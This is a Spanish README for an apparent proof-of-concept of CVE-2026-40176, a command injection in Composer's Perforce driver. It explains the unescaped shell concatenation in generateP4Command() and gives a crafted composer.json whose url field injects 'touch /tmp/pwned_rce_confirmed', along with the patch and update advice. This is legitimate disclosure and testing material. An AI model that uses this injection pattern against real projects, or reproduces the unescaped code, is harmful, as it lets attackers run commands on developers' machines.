
Prueba de concepto para CVE-2026-40176, una inyección de comandos del sistema operativo en el controlador Perforce de Composer que permite la ejecución remota de código mediante un composer.json manipulado.
Este repositorio es una Prueba de Concepto (PoC) para la vulnerabilidad crítica de inyección de comandos del sistema operativo CVE-2026-40176 en el controlador VCS de Perforce de Composer. Esta vulnerabilidad afecta a versiones de Composer anteriores a 2.2.27 y 2.9.6.
La vulnerabilidad reside en el método Perforce::generateP4Command(). Al construir comandos de shell, la sanitización insuficiente de valores de configuración del repositorio como url, p4user y client permite a un atacante, utilizando un composer.json controlado, ejecutar comandos arbitrarios cuando la víctima ejecuta composer install o .
composer updateDescubridor: saku0512 (GitHub)
Este proyecto tiene únicamente fines educativos y para pruebas de seguridad éticas autorizadas.
El autor no se hace responsable del uso indebido, daños o actividades ilegales relacionadas con esta herramienta. Acceder a sistemas informáticos sin autorización es ilegal. Al utilizar este software, usted acepta realizar pruebas de seguridad únicamente en entornos para los que tenga permiso explícito.
En el método generateP4Command() de src/Composer/Util/Perforce.php, se construye un comando de shell concatenando directamente cadenas obtenidas de la configuración del repositorio.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // エスケープされていない
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない
Si estos valores contienen metacaracteres de shell como ;, &, |, serán interpretados por el shell, lo que conduce a una inyección de comandos.
Asegúrese de que PHP esté instalado. Esta PoC reproduce la lógica vulnerable dentro de Composer.
# Verificar la versión de PHP
php -v
Un atacante puede crear un composer.json como el siguiente:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
El archivo poc.php incluido reproduce la lógica de generación y ejecución de comandos internos en una versión vulnerable de Composer.
# Ejecutar la PoC
php poc.php
Verifique si existe el archivo creado por el payload y confirme que el comando se ejecutó.
ls -l /tmp/pwned_rce_confirmed
Si el archivo existe, puede confirmar que se ha logrado RCE.
Actualice Composer a la última versión inmediatamente.
composer self-update
La corrección aplica ProcessExecutor::escape() a todos los argumentos derivados de la entrada del usuario para evitar la interpretación por parte del shell.